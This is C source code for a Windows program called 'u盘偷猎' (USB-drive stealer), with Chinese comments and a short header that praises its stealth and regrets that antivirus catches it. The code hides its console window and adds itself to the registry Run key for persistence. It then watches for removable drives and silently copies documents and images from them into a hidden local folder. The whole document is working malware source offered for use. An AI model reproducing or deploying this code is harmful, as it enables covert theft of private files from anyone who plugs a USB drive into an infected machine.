功能:开机自启动,无dos窗口弹出,复制速度较快
缺点:面对杀软很无奈
#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" )//屏蔽dos窗口
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>void ComputerStart(char *pathName)
{//找到系统的启动项 char *szSubKey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";HKEY hKey;//打开注册表启动项 int k = RegOpenKeyExA(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);if (k == ERROR_SUCCESS){//添加一个子Key,并设置值,"Mytest"并不一定是应用程序名字(不加后缀.exe) ,可以自己设置(即启动项名称);RegSetValueEx(hKey, "u盘偷猎", 0, REG_SZ, (BYTE *)pathName, strlen(pathName));//关闭注册表RegCloseKey(hKey);}else{return;}
}void Copyfile(char srcFileName[], char saveadd[],char filename[])//拷贝文件
{//打开文件char temp[256] = { 0 };sprintf(temp, "%s\\%s", saveadd, filename);FILE* fpSrc = fopen(srcFileName, "rb");FILE* fpDst = fopen(temp, "wb");if (fpSrc == NULL || fpDst == NULL) {return;}char *buff=(char *)malloc(1048576);//申请1M空间while (1){memset(buff, 0, 1048576);int r = fread(buff, 1, 1048576, fpSrc);if (r > 0){fwrite(buff, 1, r, fpDst);//写入目的文件中}else {break;}}//关闭两个文件fclose(fpSrc);fclose(fpDst);free(buff);
}void findFile(char pathName[],char saveadd[],int *flag)
{int return_val = 0;char findFileName[MAX_PATH] = { 0 };sprintf(findFileName, "%s\\*.*", pathName);//找文件WIN32_FIND_DATA findData;HANDLE hFile = FindFirstFile(findFileName, &findData);if (INVALID_HANDLE_VALUE == hFile){return ;}int ret = 1;char temp[MAX_PATH];while (ret) {if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY) //是文件夹{if (findData.cFileName[0] != '.') //避开 . 和 ..{//进入文件夹中遍历里面的文件memset(temp, 0, MAX_PATH);sprintf(temp, "%s\\%s", pathName, findData.cFileName);//遍历文件夹里面的文件findFile(temp, saveadd,flag);}}else //普通文件{memset(temp, 0, MAX_PATH);if ((strstr(findData.cFileName, ".txt"))||(strstr(findData.cFileName, ".pdf"))||(strstr(findData.cFileName, ".doc"))|| (strstr(findData.cFileName, ".jpg"))||(strstr(findData.cFileName, ".png"))|| (strstr(findData.cFileName, ".ppt"))){sprintf(temp, "%s\\%s", pathName, findData.cFileName);Copyfile(temp, saveadd, findData.cFileName);*flag=0;}}//找下一个文件,找不到下一个文件了循环结束ret = FindNextFile(hFile, &findData);}
}void FindMobeil()//查找u盘
{char saveadd[] = "C:\\addrs";//将文件复制到F盘CreateDirectory(saveadd, NULL);//创建一个文件夹char DiskName[256] = "H:\\";UINT DiskType;int flag = 1;while (flag){//遍历盘符for (unsigned char i = 0x42; i < 0x5B; i += 0x1){DiskName[0] = i;//判断是否是可移动存储设备DiskType = GetDriveType(DiskName);if (DiskType == DRIVE_REMOVABLE)//是可移动设备{findFile(DiskName, saveadd, &flag);}}}
}void WriteComputerStart()//写入注册表
{char pathName[MAX_PATH];//文件名字最大260个字符 MAX_PATH 260GetCurrentDirectory(MAX_PATH, pathName);//设置字符集为多字节字符集 获取当前文件路径sprintf(pathName, "%s\\", pathName);strcat(pathName, "u盘偷猎.exe");//找到需要开机自启动的程序ComputerStart(pathName);//设置指定程序写入开机启动项}int main()
{WriteComputerStart();FindMobeil();return 0;
}